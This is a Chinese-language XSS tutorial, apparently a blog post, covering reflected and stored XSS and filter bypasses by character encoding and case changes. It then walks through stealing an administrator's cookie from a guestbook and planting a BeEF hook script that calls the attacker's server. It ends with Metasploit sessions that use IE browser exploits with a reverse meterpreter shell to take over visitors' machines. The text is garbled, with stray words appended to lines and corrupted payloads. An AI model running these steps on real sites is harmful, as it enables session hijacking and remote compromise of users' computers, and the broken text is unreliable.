Xss介紹——javascript
XSS (cross-site script) 跨站腳本自1996年誕生以來,一直被OWASP(open web application security project) 評爲十大安全漏洞中的第二威脅漏洞。也有黑客把XSS當作新型的「緩衝區溢出攻擊」而JavaScript是新型的shellcode。2011年6月份,新浪微博爆發了XSS蠕蟲攻擊,僅持續16分鐘,感染用戶近33000個,危害十分嚴重。XSS最大的特色就是能注入惡意的代碼到用戶瀏覽器的網頁上,從而達到劫持用戶會話的目的。php
因爲web應用程序對用戶的輸入過濾不嚴產生的。攻擊者利用網站漏把惡意的腳本代碼注入到網頁中,當用戶瀏覽這些網頁時,就會執行其中的惡意代碼,對受害用戶可能採用cookie資料竊取,會話劫持,釣魚欺騙等攻擊手段。html
危害——
網絡釣魚,包括盜取各種的用戶帳號
竊取用戶cookie
竊取用戶瀏覽請回話
強制彈出廣告頁面、刷流量
網頁掛馬
提高用戶權限,進一步滲透網站
傳播跨站腳本蠕蟲等等java
Xss腳本示例——web
<html>shell
<head >xsx test </head >windows
<body>瀏覽器
<script>alert(「xss」)</script >安全
</body>服務器
</html>
這段代碼使用alert函數來執行打開一個消息框,消息框中顯示xss信息,使用xss彈出惡意警告框,代碼爲:
escript>alert(「xss") </script>
XSS輸入也多是htm代碼段,若是使網頁不停的刷新,代碼爲
<meta http-equiv=」refresh」 content ="0;」 >
嵌入其餘網站連接的代碼爲:
< ifame src http://xxxxx.com width =0 height =0> </ifame>
Xss分類——
反射型xss(一次性)
存儲型xss(持久有效)
反射型:
反射型XSS腳本也稱做非持久型、參數型跨站腳本、這類型的腳本是最多見的也是使用最爲普遍的一種,主要用於將惡意的腳本附加到URL地址的參數中
如:http://www.xx.com/search.php.?key="><script>alert("xss")</script>通常使用的將構造好的URL發給受害者,是受害者點擊觸發,並且只執行一次。
存儲型:
存儲型XSS比反射型跨站腳本更具威脅性,而且可能影響到web服務器的自身安全。此類XSS不須要用戶點擊特定的URL就能執行腳本,攻擊者事先將惡意JavaScript代碼上傳或存儲到有漏洞服務器中,只要受害者瀏覽包含此惡意的代碼的頁面就會執行惡意代碼。
Xss經常使用工具——(火狐插件)
Hackebar
Live http headers
Editor cookie
Live HTTP Headers:
該工具能夠用來抓取http/https的數據鏈接( 包括get 和post),獲取web應用程序流出的流入的數據。咱們能夠利用該工具發掘web應用程序中的安全漏洞。
Editor cookie:
Cookie信息修改器
示例:
留言板盜取cookie信息
當管理審覈後,彈出及有xss漏洞
去註冊一個免費xss平臺,而後建立一個項目,查看代碼,複製到留言板上
而後xss免費平臺就會返回內容
這個就是網站管理員cookie
繞過xss限制的幾種辦法
magic_quote_gpc
HEX編碼
改變大小寫
關閉標籤
繞過magic_quote_gpc:
magic_quotes_gpc=ON是php中的安全設置,開啓後會把一些特殊字符進行輪換,好比’(單
引號)轉換爲\’,」(雙引號)號轉換爲\」, \轉換爲\\。
好比<script> alert(「xss」);</script>會轉換爲<script> alert(\」xss\」);</script>,這樣XSS就不生效了。針對開啓了magic quotes_gpc的網站,能夠經過javascript中的String.fromCharCode方法來繞過,能夠把alert(「XSS")轉換爲String.fromCharCode(108,101,114,116,40 34,88,83,83,34,41)那麼XSS語句就變成了<script>String.fromCharCode(108,101,114,116,40,34,88,83,83,34.,41,59) </script>String.fromCharCode()是javascri中的字符申方法,用來 把ASCI轉換爲字符審。
HEX編碼:
能夠對語句進行hex編碼來繞過XSS規則。
好比: <script> alert("xss");</script >
能夠轉換爲:
%3c%73%63%72%69%70%74%61%6c965%72%74%28%22%783%73%22%29%3b%3c%2f%73%6
在線網站:
http://textmechanic.com/ASCII-Hex-Unicode-Base64-Converter.html
http://www.asciitohex.com/
改變大小寫:
在測試過程當中,咱們能夠改變測試語句的大小來繞過xss規則,如<script> alert("xss");</script >能夠轉換爲<ScRipt> Alert("Xss");</sCripT >
關閉標籤:
<body><script> alert(「xss」);</script> < >
XSS+Beef的使用
示例1:利用beef劫持客戶端瀏覽器
啓動beef(用戶名beef,密碼beef)
<script src="http://本身管理的服務器ip:3000/hook.js"></script>(把這惡意代碼上傳到有xss漏洞的網站)
當有人訪問這個網站的時候,惡意代碼生效,咱們返回本機beef控制檯查看上線客戶機
而後劫持瀏覽器
示例2.利用beef+msf拿用戶shell(基於客戶端ie6)
先劫持瀏覽器,而後啓動msf
msf > use exploit/windows/browser/ms10_002_aurora(選擇漏洞模塊)
msf exploit(ms10_002_aurora) > set payload windows/meterpreter/reverse_tcp(選擇回鏈)
msf exploit(ms10_002_aurora) > set SRVHOST 192.168.230.156(客戶機訪問的地址)
msf exploit(ms10_002_aurora) > set SRVPORT 7777(客戶機訪問的端口)
msf exploit(ms10_002_aurora) > set URIPATH /(網頁的根/)
msf exploit(ms10_002_aurora) > set LHOST 192.168.230.100(客戶機回鏈,寫本身的地址)
msf exploit(ms10_002_aurora) > set LPORT 4444(回鏈端口)
msf exploit(ms10_002_aurora) > exploit (開始攻擊)
把msf生成的那個鏈接扔beef去,讓客戶端訪問指定的網站就會觸發這個漏洞,就能夠拿到客戶端權限。
回車》鍵入sessions -i 》sessions -i 1》shell(成功拿到客戶端權限)
示例3.利用beef+msf拿用戶shell(基於客戶端使用ie789)
先劫持瀏覽器
msf > use exploit/windows/browser/ie_execcommand_uaf
msf exploit(ie_execcommand_uaf) > show options
msf exploit(ie_execcommand_uaf) > set SRVHOST 192.168.230.156
msf exploit(ie_execcommand_uaf) > set SRVPORT 8888
msf exploit(ie_execcommand_uaf) > set URIPATH /
msf exploit(ie_execcommand_uaf) > exploit
而後把生成的這個鏈接扔beef裏,讓客戶端訪問,msf就有返回回鏈會話,就能夠拿到客戶端權限了
Xss漏洞掃描與留長期後門——
經常使用工具:
Wvs
Safe3
W3af
Vega
Xss掃描插件+burp(去下載掃描插件在導入就能夠)